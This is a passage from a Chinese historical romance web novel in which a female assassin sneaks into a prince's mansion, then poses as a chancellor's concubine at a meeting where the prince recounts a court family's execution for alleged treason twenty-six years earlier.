两人小心避开王府的守卫绕到了后院,萧恒小声问:“去书房吗?”
白妙可答:“对,怎么走?”
萧恒:“……我哪儿知道。”
皇帝为彰显兄弟情义,赏赐的这处王府占地极广,二人转了一圈也没有头绪,白妙可决定分头行动,萧恒有些不放心,但白妙可向来都是个有主见的,他除了妥协别无他法,他从怀中掏出一个口哨交给白妙可,“若是遇见危险就吹响,在王府范围内我一定能听见。”
白妙可点头接过,说:“你往东,我往西,遇见书房就搜,不管有没有用的信息都拿回来我看看。”
二人在路口分开。
白妙可顺着王府后花园的小路一路往西,看见一处别苑亮着灯,便一个闪身进去。
她贴着房门旁的柱子,将自己藏在阴影中偷偷打量。
门口有两个守夜的婢女,此外还有四个带刀的护卫立在一旁。
后院多是女眷,除非男主人在场,一般不会安排护卫在院内。
白妙可心头一喜,找到了!康王一定在屋内。
不想惊动屋内的人,白妙可向另一方向扔出一颗石子,发出啪的声响,引得丫鬟护卫们扭头去看。趁着这个瞬间,白妙可腾身而起跃上房顶,轻盈似猫,没有发出任何声响。
刚一落在房顶,她便听见了些奇怪的声音,是男人的粗、喘伴随着女子的娇、吟。
她僵在了原地,没想到会撞到康王办事儿。
她度日如年的等了片刻,听见里面女子越来越婉转的声音,心想这事儿这么有意思的吗,她以前也听牡丹说过几次,说什么体会过了才懂。
她叹息了一声,觉得自己可能是懂不了了。
其实自她及笄以后就开始有人上门提亲。父亲倒是没什么要求,只要对方能真心待自己,只要她自己喜欢,就算是找个上门女婿也是可以的。
可惜来提亲的人要么是看中了白家的产业,要么是就是看中了她的美貌,二者都有的最多。
很多时候她还没来得及去相看,萧恒便能把对方流连青楼的证据递到自己面前。
是以她今年马上双十年岁了婚事还没有着落,女子这个年纪未嫁已经是有些晚了,可是她家里还有个二十六仍未娶妻的哥哥,所以白妙可也从未着急过此事。
白妙可出神想了不知道多久,屋内的动静终于停了下来。
她听见康王满足的长叹一声。
“王爷明日还来陪妾吗?”女子说。
“明日不行。”康王说答道。
女子语含委屈:“妾知道了,王爷是要去梅院陪姐姐吧。”
康王柔声解释:“不去,本王明日与人有约。”
女子说:“王爷又去醉春楼,看来妾明日是等不来王爷了。”
康王笑了笑却是没有反驳:“何必等明日。”
说着屋内竟是又传来哼哼唧唧的动静。
……
白妙可有些无语,为了自己的耳朵免遭折磨,她从屋顶飞掠着离开了。
她在心里从康王去醉春楼是不是又约见陆瑜,男人果然都是一个样,看起来像个端方君子没想到也是爱好风流的主,她继而想到陆大人若是做那种事也会像刚才那样吗,实在是难以想象清冷的陆大人会是什么表情。
一阵夜风吹过,她突然清醒,自己在想些什么啊……
她又在西侧转了一圈,没发现什么有用的东西就离开王府回了他们来时的位置。
萧恒已经等在那里,没等白妙可走几步,他已经迎了过来,眼神检查了一圈,问:“没受伤吧?发生什么了?怎么去了这么久?”
白妙可当然不会说自己听床角去了,只说自己找到康王了,并且听说了他明日有约的消息。
萧恒点点头说:“我找到他的书房了,不知道那些对你有用就都拿回来了。”
拿出厚厚的一叠纸交给白妙可。
白妙可惊讶的看着这厚厚一叠,有的有信封,有的只有一张叠起来的纸,还有几个皱巴巴的纸条看起来像是从信鸽身上拆下来的。
她朝萧恒露出大大的笑脸,伸手拍了拍他的肩膀道:“多谢了,这里面肯定有些有用的。”
萧恒看着她甜甜的笑,心里有些苦涩。
看她拍肩的动作,他便清楚她从未将自己当做考虑的对象。
不过没关系,他已经陪了她这么多年,只要她心里没有其他人,他就可以一直等下去。
两人往回走的路上,他想起来一个好消息,开口说到:“对了,最近月影阁从鹰爪帮那里抢了一单大生意,又有人要刺杀丞相。”
他记得白妙可上次因为没有接到这笔生意而气恼,本以为她听见这个消息会很开心。
结果白妙可听了以后眉头却是渐渐皱起来。语气不自觉的有些冷:“不是说不能杀丞相吗?”
萧恒愣了一下,印象里白妙可总是笑眯眯的好脾气,他很少听见她的这种语气。
心口有些不舒服,但是他还是回道:“赏金一万两黄金,而且上次鹰爪帮刺杀失手了,若是此次我们能成功,月影阁便是名副其实的江湖第一杀手组织了。”
白妙可听着他的话,清楚他说的很有道理,少一个丞相就能换来江湖第一的地位,倒是挺划算的。
但是她感觉自己内心并不想让他死,这种想法有些别扭,她自己也弄不清楚。
接着她便想到上次他的命是自己救的,这份人情她还没讨回来呢,还有上次他弄湿自己衣裙的事情也还没找他算账呢,要是让他这么死了自己岂不是亏了。
说服了自己内心的纠结以后,她便同萧恒说:“这人现在杀不得,他还欠我些东西。”
像是给自己找补一样,她又说:“等我讨回来以后亲自杀了他,月影阁还是江湖第一。”
萧恒沉
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默地看了她一会儿,低低的回了一声好,接着便转身离开了,好像还说了什么,声音消散在风里,白妙可没听清。
没多久她便回了白府。
本来应该要趁着康王还未发现之前抓紧看一下偷回来的各种信件的,但是听说江湖上又在悬赏暗杀陆瑜以后,她便感觉自己心里面闷闷,这般俊秀的美男就这么死了岂不可惜。
白妙可不是能忍住事儿的性子,她决定去问问陆瑜答应自己的事情办的怎么样了,毕竟已经过去快一个月了,绝不是因为其他的事情,她在心里想。
于是衣服都没换,她就跑到了陆府。
此时已近夜半,月亮被乌云遮住了大半,陆府门口树影婆娑摇晃。
白妙可站在树下犹豫了片刻,觉得自己溜进去不被发现的概率很低,有些懊悔自己冲动了,忘记带些迷、药之类的了。
但是来都来了,她今日必须见到陆瑜。
这是在潜意识里默认被抓到也没什么大事儿了。
于是她跃上墙头,还没走到后院就意料之中的被陆府巡逻的护卫发现了。
她听着后面追来的声音,头也不回地往后院飞掠过去。这里她上次已经来过,她径直冲往陆瑜的住处,以她的轻功和速度,陆府的护卫一时半会儿还真追不上。
看见陆瑜住处的大门了,她故技重施,扔出一枚石子,打中了领头那个护卫的脚踝,力道不轻不重正好让他跌倒在地,同时也绊住了后面人的脚步。
趁着后面手忙脚乱的功夫,白妙可已经从窗户翻进了屋内。
屋内没有点灯,看来陆瑜应该是已经休息了,她平复了一下呼吸,轻手轻脚地往内室走去。
屋内太暗,她只能隐约看见床上有个阴影,她走近床边想把把陆瑜喊起来,突然一个闪着白光的匕首刺了过来,带起一阵风吹动了白妙可的几缕头发。
这是把自己当成来杀他的了。
白妙可抬手握住那人持刀的手腕,本以为对方会挣扎一下,没想到对方被握住手腕以后却是一动不动了。
白妙可刚提起来的力气就放松了下去,谁知道对方像是刚反应过来一样,将刀丢开想把手抽回去,白妙可一时不备就这么被带着倒了下去。
好巧不巧的落在了男子坚硬的胸膛上,就听得陆瑜被结结实实砸的闷哼一声。
陆瑜在白妙可抓住他手腕的瞬间闻见了熟悉的栀子花香,害怕伤害到她立刻就将手里的匕首丢开想抽回手来,却没想到会发生这么一出。
这时护卫追了过来,富贵在门口问道:“公子,府里进了刺客,您没事儿吧。”
两个人现在的姿势实在尴尬,白妙可不想被人看见,伸出一根手指抵在陆瑜唇上对他摇头,陆瑜沉声说说:“无事,你们去其他地方找找吧。”
嘴唇一张一合间不可避免的碰到白妙可的手指。她突然反应过来,撑着身体想要站起身来,就是一着急好像撑的位置不太对……
富贵应了一声,随后传来脚步声远去的声音。
她站在床边,感觉刚才手感还挺好,看不出来这个文臣竟然还有些肌肉。
被实实在在摸了一把的丞相大人觉得自己不干净了……
9. 尚未娶妻
各怀心事两人的在黑暗中沉默半晌。
还是陆瑜最先反应过来,这样很像孤男寡女月下幽会,他莫名有些心虚,轻咳一声打破沉默:“我去点灯。”
白妙可嗯了一声,往旁边靠了靠给他让出路来。
陆瑜起身才想起来自己只穿了中衣,刚才只以为是刺客,没顾上那么多,现在却觉得有姑娘在场他这么穿着实不妥。
于是在点灯之前,他先摸索着披上了自己的外衣。
白妙可常年习武,视力自然也比常人要好,将刚才陆瑜着急穿衣的动作看了个清楚,不以为意地勾唇笑了笑,默默欣赏男人素白中衣下的线条轮廓。
陆瑜不知道她的想法,自觉很是妥帖守礼,唯恐像上次一样冒犯了她,也害得自己偷偷洗了裤子和床单。
烛火点燃,将屋内照亮。
陆瑜看着面前的少女一身黑色的夜行衣,十分合身的勾勒出少女的轮廓。女子纤细的影子投在内室的窗户上,他突然有些担心被返回的富贵他们看见会误会,于是开口说道:“姑娘深夜到访想必是有要事,坐下说罢。”
自己率先坐在了茶桌的一侧。
白妙可也听话的坐下,心里想,有什么要事呢?刚才这么一闹她好像也不记得自己半夜是来干什么了……
她尴尬的眼神乱瞟。
看见房间角落里挂着的独属于丞相的绛红色官服,终于想起来了,她故作镇定地说:“我来问问你上次答应我的事情有消息了吗?”
陆瑜没想到大半夜的她来就是问这个,已经着急到要半夜来催了嘛。
他本就约了康王明日见面,打算一有消息就告诉她的,她既然如此着急,或许想一同去听听康王怎么说。
于是他说:“明日便会有消息,姑娘要与我同去吗?”
白妙可想起来在康王那里偷听来的消息,下意识问:“不会又是去醉春楼吧?”
说完意识到自己好像说漏了……他应该不知道上次喂他喝酒的人就是自己吧。
她有些紧张的抬眼去看他。
陆瑜好像没有注意到她的失言,只是回答:“是去醉春楼,姑娘若是介意就算了,陆某不是言而无信之人,事后再告知姑娘也可。”
白妙可盯着他看,总是感觉对方的唇角弯了起来,给人感觉似笑非笑。
她瘪了瘪嘴说:“我去!我不放心你自己去。”
说完又感觉怪怪的,觉得自己这样像是不放心丈夫去风月之地的妻子。
她又解释了一句:“我是怕你漏掉了什么关键信息。”
这次她确定陆瑜的唇角真的勾了起来。
对方几乎是憋着笑说:“好,我明白了。”
白妙可小声嘀咕,你个大聪明又明白啥了。
陆瑜收敛笑意,但是上扬的眉梢依旧彰显着他的好心情,他补充道:“明日酉时初出发,我在陆府等你还是去揽月阁接你?”
白妙可不愿他知道自己的真实身份,就说:“我来找你,我扮作丫鬟跟你去?”
她并不觉得扮作丫鬟有什么不好,又不用她真的伺候他。
陆瑜却道:“不好,你扮作我的侍妾更稳妥一些。”
白妙可还想讨价还价一下,陆瑜又抢在她开口之前说:“康王身份贵重,侍妾勉强说得过去,丫鬟却是必然不能与王爷同席而坐的。”
言外之意白妙可懂了,就是当丫鬟不配跟王爷坐一桌,她有些不满意。自己在家的时候常常与春杏一块儿吃饭,偶尔睡不着的时候两个人还会躺在一块说些悄悄话,到了这些达官贵人这儿,竟是连坐一桌都不配了。
这般想着她就生出几分不耐烦的情绪,闷闷的点头答应了,没再开口说话。
陆瑜觉察到她的情绪变化,以为是她介意假扮自己的侍妾,他斟酌了一下说:“我尚未娶妻,侍妾也是不曾有过,康王若是刁难于你,我不会放任不管的。”
说完他才意识到自己应该是多虑了,以这女子的身手,恐怕没人能刁难她才对。
但是白妙可并没有什么特别的反应,还是淡淡的应了一声。心里却是想着他上次要喂自己喝酒的轻薄行径,果然男人不管有无妻妾都不影响他在外面花天酒地。
这般想着,她有些不高兴的瞪了他一眼,开口说:“那我就不打扰陆大人休息了。”
陆瑜注意到她对自己的称呼又变成了阴阳怪气的陆大人,还被莫名其妙的瞪了一眼,奇怪自己说的那句话让她更不高兴了。
平日跟官场上那些老狐狸打交道的时候,他们一个眼神变化他就能猜到对方在想什么。他还是第一次发现,女子的想法这么难以捉摸。
但是时间确实很晚了,他也不好继续刨根问底,只能说:“好,我派人送你出去。”
说着说着他感觉有些不太确定,尾音就逐渐上扬带了些询问的意思。
白妙可果然拒绝:“不用了,我走了。”
说罢也不等陆瑜反应,就推门离开,消失在夜色中。
陆瑜看着她离开的背影,有些欣慰于她终于没有翻窗户了,毕竟自己房间的窗台是有些高的。却忽略了更高的院墙,白妙可走出这个院子就翻墙离开了。
他重新熄灯躺回床上,这次却是难以入眠了。
直到第二日富贵伺候他起床吃饭,就看见自家少爷顶着两个大大的黑眼圈。他语带愧疚的说:“少爷昨夜没睡好吗?是我们无能,搜遍了整个王府也没抓到刺客,让少爷担惊受怕了。”
陆瑜总不能说是自己把那个“刺客”给放跑了。只能安抚的拍了拍他的肩:“没事,是那个刺客身手太矫健,不怪你们。”
富贵听着主子这带着丝欣赏的语气陷入了沉默……
这边陆丞相已经顶着黑眼圈处理公务的时候,白妙可还躺在自家雕花大床上呼呼大睡。
跑来跑去一晚上实在是给她累坏了,她也向来不是内耗的性子,所以昨晚回来她就已经不再纠结陆瑜的事情了,今日更是睡到日上三竿才起床。
因为累反而睡的很好,春杏进来伺候她梳头发,就看见少女如墨的长发垂下,有几缕搭在胸前,只着素色寝衣也掩藏不住的诱人身段。
春杏笑着夸道:“小姐今日气色真好,奴婢都要看呆了。”
白妙可这才顺着她的视线看向镜中的自己,满意的点了点头,开口说:“那今日就带金玉楼新送来那套红宝石头面吧。”
春杏应了声好,又替她绾了一个随云髻,在一侧斜斜点缀了一支凤
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蝶鎏金簪,其上的蝶翼随着动作轻轻颤动,似乎振翅欲飞,趁着少女灵动非常。
因为要假扮陆瑜的妾室,衣着也就没有那么多要求,白妙可按着喜好选了一身丁香色的双蝶云形千水裙,行动间裙摆层层叠叠如波浪一般,看起来飘飘欲仙又不会太惹人注意。
普通百姓家里能有面铜镜就已经很是不多了,白妙可的房内却摆了一面一人高的铜镜,专门供这位大小姐臭美用。
春杏替她收拾妥当以后,白妙可就站在镜前欣赏自己,感慨春杏的手艺太好了,却感觉还是缺了啥,她突然想起来了,吩咐春杏去花园里摘一朵栀子花。
白家有一个很大的花园,里面种了各种名贵花草,都有专人打理。唯有一片栀子花例外,那是白妙可的母亲生前亲手种下的。印象中的母亲常常亲自打理这片栀子花,白妙可记忆中母亲的怀抱是带着栀子花香的。
后来母亲去世,白妙可在旁边又种了一些,现在花园里已经有一大片栀子花了,每每闻见淡淡的花香,她就感觉很安心,像是母亲还是陪在自己身边一样。
春杏摘来一朵小小的栀子花问:“我给小姐戴上吗?”
白妙可接了过来,摘下一只白玉耳坠,将栀子花的花茎轻轻穿过小巧的耳洞,这才满意的笑了。
收拾妥当,白妙可又拿出自己的软鞭缠在腰间,用浅杏色的腰带遮挡。
准备出门的时候,正好碰见白老爷在院子里练拳,白老爷年轻的时候在镖局做过一段时间,也会一些拳脚功夫,现在生意上的事情不需要自己操心太多,便又捡起来以前学过的拳法强身健体。
看见自家宝贝女儿过来,白老爷笑眯眯的说:“我家小可真是国色天香,快到晚膳时间了,这是要去哪儿?”
白妙可也笑着答:“爹爹,我有事儿晚上不回来吃了。”她只能含糊回答,总不能跟自家老爹说今天晚上要去当别人的侍妾,老爷子听了得气死。
白老爷摆摆手说:“去吧去吧,多带几个护卫,晚上注意安全。”
白妙可甜甜的应了一声就跑跑跳跳的走了,至于侍卫,肯定是没法带的,为了方便她连春杏都没带。
白老爷看着女儿的背影想,这么温婉又可爱的女儿,不知道以后要便宜哪个臭小子,他得好好练练拳法,要是以后的女婿欺负小可,他就去打断他的腿。老爷子练得更加卖力了。
白妙可乘着马车来到陆府的时候才是申时,她不喜欢让别人等,也不喜欢等别人。所以无论是出任务还是谈生意,她都习惯提前一些到,今日也是如此。
她让车夫自行离去,自己上前去扣门。
门房很快打开门,看见她稍微愣了一下才认出来:这不就是上次自称是公子救命恩人的姑娘嘛,就是她今日的打扮同上次完全不一样,要不是门房当久了记性比较好,他差点都没认出来。
他赶忙打开门,请这位姑娘去前厅,又找人去通传给公子。
陆瑜听见下人说自己救命恩人来了的时候正在陆老爷书房说话,陆老爷听见这话可是激动坏了,一心想去看看是位什么样的姑娘救了儿子,但是他一个大老爷们去毕竟不太方便。
陆瑜无力抵抗兴奋的二老,于是陆夫人便随着陆瑜一同往前厅去了。
10. 铁树开花
边往前厅走,陆夫人边打听:“你这救命恩人今日来找你做什么?”
陆瑜如实答道:“她陪我出去用个晚膳,晚上就不能陪您二位吃了。”
陆夫人听了反而更高兴了,儿子终于开窍了,知道请姑娘吃饭了!这般想着,她的脚步更快了,恨不得立刻去见见是什么样的姑娘,让自己家这个铁树都开花了。
陆瑜迈着大步才跟着自家娘亲前后脚来到前厅。
白妙可这次没有坐在上回那个靠近门口的位置,反而是坐在了主位的下首处,此时正吃着一块糕点。
她抬眼就看见陆瑜同一个中年妇人走了进来。
妇人脚步稳健,纵使眼角有些许细纹,也掩盖不住眉眼间的英气。
白妙可了然,这应该就是陆夫人了。
没想到陆瑜那双锐利的剑眉星目原来是遗传了母亲。让他凝神看人的时候带着些危险的锋芒,但是他本身又是个读书人出身的文臣,举手投足间带着一些优雅从容,两种感觉恰到好处地出现在他身上,既不会过分尖锐也不会过分软弱。
还未等陆瑜介绍,陆夫人就热情地上前招呼:“姑娘就是我儿的救命恩人吧?长得真是标致。”
白妙可同陆瑜对视一眼,接收到对方眼中的无奈以后。
白妙可懂了,跟自家老爹一样,是个没什么恶意的心急长辈。
面对长辈,她一向乖巧。
她起身将陆夫人迎到主位坐下,柔声说:“我只是机缘巧合救了陆大人,算不得什么救命恩人。”
陆夫人看白妙可真是越看越满意,夸道:“真是个善良的好孩子。”
白妙可听着善良的夸奖有些不好意思,夸她好看她可以欣然接受,但是说她善良实在是……
她可是个杀手啊!
她没接话,而是转移了话题:“早就听闻陆夫人在战场上的英名,当真是巾帼不让须眉,小女敬佩不已。”
陆夫人早年跟着陆老爷上战场,二人在边疆驻守多年,靠着赫赫战功被封为振国将军,这个封号是先帝亲口说共同封给夫妻二人的,大燕的百姓很是敬佩这对保卫国家的将军夫妻,白妙可也是。
陆夫人不好意思的笑笑:“那都是多少年前的事了。”
然后又赞赏的说:“姑娘救了我儿,想必身手也很是不错。”
白妙可回:“学过一些皮毛罢了,跟那些将士们是比不得的。”
陆瑜听见这话嘴角抽了抽。
二人又你来我往的聊了一刻钟,可谓是相谈甚欢。
陆瑜看了眼天色,再不打断不知道这二人还得聊到什么时候。
于是他开口提醒:“母亲,儿子晚上还有要事。”
听见这话,陆夫人意味深长的看了儿子一眼,心想约姑娘吃饭确实是要事。
陆夫人便起身准备要回后院了,白妙可也乖巧起身相送。
陆夫人拍拍她的手道:“我一见你就觉得亲切,下回有时间来府里吃饭,让子澄下厨,你也尝尝他的手艺。”
说罢警告的看了看儿子:“照顾好人家姑娘,早去早回。”
也不用他回答,陆夫人又是步伐矫健的离开了前厅。
陆瑜不用问也知道,母亲这是急着跟父亲说呢……
白妙可在心里想,原来陆瑜的表字是子澄啊,好听是好听,就是不如橙子来的顺口。
这般想着,她情不自禁笑出了声。
陆瑜问:“跟我母亲聊天这么开心?”
白妙可点头,她确实喜欢跟陆夫人聊天,毕竟是上过沙场的人,见多识广又爽朗大方,若是有机会白妙可还想问问陆夫人战场上的事呢。
陆瑜盯着她的眼睛看了一会儿,黑葡萄似的眼睛诚挚清澈不像撒谎,他说:“下次再聊,她会很欢迎你的,先出发。”
白妙可没注意到这个耐人寻味的“下次”,她已经跟着陆瑜出了大门。
富贵赶着一辆宽敞大气又很是低调的马车等在门口。
陆瑜率先登上马车,然后就回头准备去扶白妙可的时候,就发现对方已经像一只蝴蝶一般轻巧地跃了上来。
陆瑜看着她层层叠叠的裙摆荡起涟漪,若无其事的收回了伸出一半的手。
马车内部摆设简单朴素,中间一方小几上放着茶具,左右各有垫着软枕的长凳方便倚靠,正对的门口的一侧是一个精美的架子,上层摆着几本书,下层是一个一个的小抽屉。
二人进去以后一人一边坐好,马车平稳地向着醉春楼出发。
白妙可安静不了一刻,她问:“你会做饭吗?”
陆瑜没想到她突然提起这个,他确实会偶尔自己下厨做几道菜,但是当上丞相以后就忙得没有时间,也是很久没有做菜了。
母亲方才提起来这事儿,白妙可可能不清楚,但是陆瑜很了解自己的母亲,她这是帮他在白妙可面前博好感呢。
于是他点头:“是会做几道家常菜,也很久没做了。”
事实证明,白妙可确实对他有些刮目相看了。她还记得去年父亲生辰的时候,自己准备亲自下厨给父亲做个长寿面都差点将厨房烧了,她便觉得做饭真的很难。
而且都说君子远庖厨,白妙可是知道普通百姓家里请不起专门的厨子,一般都是妇人做饭。只是没想到堂堂丞相大人还会亲自下厨。
她不知怎的就想尝尝他的手艺了,嘀咕道:“也不知道你手艺如何。”
陆瑜耳尖的听见了,轻声说了句:“会有机会的。”
闻言,白妙可摸摸鼻子没有回应。
侧过身去偷偷撩开车窗,发现马车已经快到醉春楼了。
陆瑜也开口说起了正事:“进去以后你只管跟着我,不用理会康王。”
白妙可点点头,想起来上次康王盯着自己的黏腻眼神,不禁打了个寒战。
马车很快停在醉春楼门前。
陆瑜先下车,然后转过头来扶白妙可。这次她倒是配合,一双细葱般的手轻轻搭在他的手臂上,由他扶着下了马车。
下车以后白妙可也没有收回手去,反而轻轻挽住了他的臂弯。
二人之间虽然还隔着一点距离,但是在白妙可宽大水袖的遮掩下,两个人看起来便像是亲密无间的样子。
陆瑜面色不变,被挽着的手臂却是十分僵硬,他能清晰地感觉到女子带着热意的手臂,还有近在咫尺的酥软。
他不敢乱动一下,生怕不小心冒犯了她,只能努力将自己的注意力转移到正事上去。
下了车以后,白妙可仿佛变了个人似的,低眉敛目,柔媚非常,看上去真的像是一个娇弱可怜的侍妾。
陆瑜暗自感慨,她
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不去唱戏真是可惜了。
白妙可并不觉得这有什么,从前她在月影阁出任务的时候经常需要乔装打扮成各种身份。
作为月影阁的顶尖杀手,需要她亲自动手的任务并不多,但是每次都很难,许多时候不仔细乔装打扮一番都难以近身,这种情况下一旦露出破绽就功亏一篑了,所以她所依靠的除了一身好功夫,还有她精妙的伪装术。
一进门便有热情的媽媽给他们带路前往雅间。
媽媽很懂规矩的没有乱问,但是楼里的姑娘就不一定了,路上有许多楼里的女子偷偷打量陆瑜,看见他的英俊的面貌纷纷跃跃欲试,又碍于他身旁的白妙可而踌躇不前。
有个胆大的女子倚在二楼围栏上轻唤了一声公子,又抛下一方嫩粉色的秀帕吸引陆瑜的注意力。
哪知道对方连头都没抬,竟是踩着落在脚下的帕子走了过去。
女子自觉丢脸,懊恼地跺脚离去,其余围观女子也歇了心思。
这次的雅间还是临湖那间,这里似乎是康王的专属。
白妙可打量着此处,三面临湖,风景正好,再配上美酒美人,康王还真是会享受的主,最重要的是,这样的环境布置是不可能被偷听到的。
她还敏锐地发现了另一个弊端:若是在此处刺杀,除非跳湖,难以逃脱。
两人还未走入内堂便听见里面传来丝竹管乐之声,看来康王已经到了。
白妙可将头埋得更低了一些。
走入内室,陆瑜同康王告罪:“臣来迟了,让殿下久等了。”
康王起身相迎,笑着说:“喝酒看美人算什么久等,我乐意至极。”
两人分坐两侧,白妙可自觉的坐在了陆瑜旁边,未发一言,降低自己的存在感。
康王却是从她进门的第一时间就注意到她了。
此前从未听说陆瑜身边有什么女人,还有许多人给他送各种美人也都没拒绝了,今日他竟然带了个女子赴宴,康王很是惊讶。
他与陆瑜寒暄着那些客套话,眼睛却不自觉地往女子身上瞟。
此女子唇红齿白,貌若桃花,身段姣好,虽然妆容略浓,却不可否认是个极品佳人。
他忍不住开口问:“贤弟还没介绍身边这位姑娘呢?”
听到这话,陆瑜含笑回:“是陆某的侍妾,听说我要来这儿,非要跟来,让殿下见笑了。”
白妙可此时也配合地做出娇羞的表情,将身体往他身边靠了靠,遮挡康王打量的视线。
这下二人是真的挨在一起了,陆瑜感受到手臂处的柔软,耳朵渐渐染上红晕。
康王露出一副心领神会的表情,调侃道:“都说陆大人不近女色,看来是没碰见这种绝色啊。”
又偏头对白妙可说:“站起来让本王看看。”带着上位者的命令口吻。
听见这话,陆瑜的脸色冷了下来。
不动声色地同康王对视,眸色深沉,暗含警告。他淡声说:“说正事吧,康王殿下。”
康王听着他低沉的话,也收起了玩笑的表情。
王公贵族之间互送侍妾也是正常的事情,他没想到陆瑜会为了一个侍妾拂了自己的面子。他恨恨的咬了咬牙,却很清楚自己现在还动不了陆瑜。
按下心中不快,他缓缓开口:“你想知道的事情有眉目了。”
11. 陈年旧事
“父皇当年登基以后,根基不稳,便娶了余家的长女为妃。余家在当年还是世家大族,多年驻守在西北,手握兵权,在民间颇具声望。而且余家在那一辈只有两个女儿一个男孩,余家对两个女儿很是宠爱,一开始并不愿送女儿进宫,传闻还是父皇亲自去余家两次求娶,余家没办法才放女儿进宫,也有传闻说是以余家当时的势力根本不惧圣上施压,是余家长女自己点头嫁进宫中的。”
听到这儿,陆瑜和白妙可还不清楚康王说这些做什么。
先帝与丽妃,也就是这位余家长女的故事在民间也是有流传的,听闻先帝与丽妃感情甚笃,众人听了只会夸一句先帝重情。
康王喝了口酒,接着说:“余家长女进宫以后便被封为丽妃,进宫前几年也宠冠后宫,而且自打丽妃进宫以后,父皇的后宫便再没有进过新人。
余家渐渐地也接纳了这位帝王女婿,将余家一半的兵权交还父皇,叫他能坐稳这江山。”
“直到隆安十年,也就是二十六年前。西北来犯,余家父子率兵出征,在战场上遭受埋伏,余家家主战死沙场,只有余家唯一的长子重伤归来,那场仗让余家军伤亡惨重,还是败了。
又过了一个多月,突然余家被发现通敌叛国,先帝震怒,下令余家老小满门抄斩。或许是父皇实在喜爱丽妃,也或许是丽妃当时已经怀有身孕,总之身在宫中的丽妃没有被牵连,反而被封为中宫皇后。
再过几月,丽妃诞下皇子,也难产而亡。”
“后面的事情想必陆大人很清楚了,这就是二十六年前发生的事情。”明明是略显沉重的故事,康王嘴角却挂着嘲讽的笑。
陆瑜当然知道后面的事情,那位丽妃诞下的皇子后来被封为太子,在先帝去世后顺利登基,取国号德昭,寓意“德昭天下”。
他只是没想到当年余家的灭门竟然是因为通敌叛国。
白妙可听完康王的讲述,不知为何感觉心里有些难过,为丽妃也为余家。
她不无嘲讽的想,果然自古无情帝王家,丽妃的亲人全都被自己的夫君杀了,他却将她封为皇后,丽妃怎么可能会接受。
白妙可垂眸替陆瑜倒酒,同时掩盖自己的眼底的湿润。
离她很近的陆瑜几乎立刻就发现了她很低的情绪,他以为是康王讲的事情触动了她的伤心事,只是安抚地拍了拍她。
两人都无心在这里跟康王虚与委蛇了。
陆瑜说:“感谢殿下为臣解惑,你我的交易到此也算两清了,臣便先告辞了。”语气不卑不亢,却也没有给康王拒绝的机会。
听着这不太客气的语气,康王倒是也没有表露出来什么不满,只是笑着说:“本王就不送丞相了,我们有缘分,还会有合作机会的。”
陆瑜便起身带着白妙可离开了醉春楼,二人又一同登上马车。
两个人各怀心事。
陆瑜记得白妙可最初来找他问的是太傅二十六年前的事情,今日康王给的消息听起来没有太傅什么事儿。
他私下也找人查过,二十六年前太傅还只是个工部侍郎,他会跟这件事有什么关系吗?
白妙可也有很多疑问,她憋不住开口问陆瑜:“你有没有觉得余家的事情很奇怪,若是余家真的通敌叛国又怎么会在那场西北之战里面损伤惨重,就算是做戏也不可能折进去余大将军的性命。”
她想了想又补充道:“而且先帝又是如何知道余家通敌叛国的消息的,是怎样确凿的证据让先帝震怒到灭余家满门。”
最后一个疑点,她的声音更低了,近乎呢喃:“你说先帝真的爱丽妃吗?若是先帝真如民间传闻那般深爱丽妃,又怎么会这么对她的家人呢?可若是不爱,为何还封她为后又让他们的孩子继承大统呢?”
她一口气说出了心中的疑惑,想着陆瑜毕竟是丞相,这种宫廷秘闻应该比自己更清楚。
听完康王的事情,陆瑜心中的确已经有了一个猜测,只是没有证据,他不想恶意揣测。
于是他只是说了一句:“这件事发生的时候,马鸿哲是工部侍郎,你不是在查他吗?”
白妙可想起来自己最初的目的是调查太傅二十六年前的事情,直觉告诉她二者一定有什么联系,就是差了点儿什么。
到底差了什么呢,白妙可突然想起来萧恒从康王那里搜来的一摞书信,她粗略翻过一次,大多数信息都断断续续的看不太懂,今日听完这些,她突然觉得里面好像有些相关线索。
这般想着她也坐不住了,不等停车就想跳车回家。
陆瑜被她的动作吓了一跳,下意识的拉住了她的手腕,说:“天都黑了,你干什么去?”
白妙可感觉他攥着自己手腕的掌心火热,那股热量一下子烧到她心里,她可以轻易挣脱,但是还是坐了下来同他好好说:“我在康王那里拿到一些书信,可能有些消息我要回去确认。”
陆瑜先是震惊她能在康王王府里来去自如,在心里给她的危险系数又加了一颗星,这才慢慢松开还攥着她的手,庆幸自己的手还在。
他说:“先吃晚膳吧,书信既然已经拿到,吃完再看也来得及。”
白妙可这才感觉到肚子有些饿,今日起得晚没赶上早膳,所以到现在她也才吃了一顿,于是她答应了。
陆瑜对着外面赶车的富贵吩咐道:“去揽月阁。”
这个时间正好揽月阁里客人最多的时候。
二人刚一进门就吸引了大堂里许多人的注意。
大部份人是被两个人郎才女貌的出众气质所吸引,也有少数人认出来了陆丞相,悄悄抬头打量着他身边的女子。
揽月阁的掌柜看见白妙可立刻热情的亲自来迎接,刚想开口喊小姐就看见白妙可对着他摇头暗示。
能经营这么大一间酒楼的人早就成了人精,立刻就明白了白妙可的意思,是不愿暴露身份。
于是他改口道:“二位贵客随我去楼上雅间吧。”
陆瑜有些奇怪,平日来这儿都要提前订才能有的雅间,怎么今日还有剩余吗。
白妙可倒是没觉得有什么不对的,自家的酒楼她当然想坐哪儿就坐哪儿。
二人刚坐好,掌柜的就用询问的眼神看向白妙可,她略一思索:“我按照老样子就行。”
她又偏头问陆瑜
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:“你想吃什么?”
陆瑜若有所思的看着她跟掌柜熟稔又毫不客气的样子,说:“按你说的来就好。”
得到白妙可的点头示意,掌柜点头退下。
陆瑜面色不变,心里却已经思索了许多,能跟掌柜这般相处的,她大概率是这家酒楼的东家。
只是还有一点他没有想清楚,酒楼东家为什么会有这么高的武艺呢?
不多时,店小二送上来一壶酒,打断了他的思绪。
白妙可高兴地接过来给两人都倒满,也不跟陆瑜谦让,自己端起来喝了一口,满意的眯起眼睛。
陆瑜的酒量不算好也不算坏,偶尔应酬的时候才会小酌几杯,不是个贪杯的性子。
但是看见白妙可的反应,他不由好奇是这酒真有那么好喝吗,于是他端起白妙可给他倒满的一杯酒,学着她的样子一饮而尽。
酒香纯粹,入口回甘,真是好久,完全不输宫宴上的贡酒,没想到揽月阁能有这般好酒。
他问:“这是何酒?”
白妙可说:“揽月酒,是掌柜的独家秘方呢,每日限量,好喝吧?”
陆瑜点点头,又喝了一杯。
二人喝了没几杯,陆陆续续的上来各色菜肴,均是色香味俱全。
饿了许久的白妙可提著开始大快朵颐。她吃的很快,但是吃相却是极有教养。
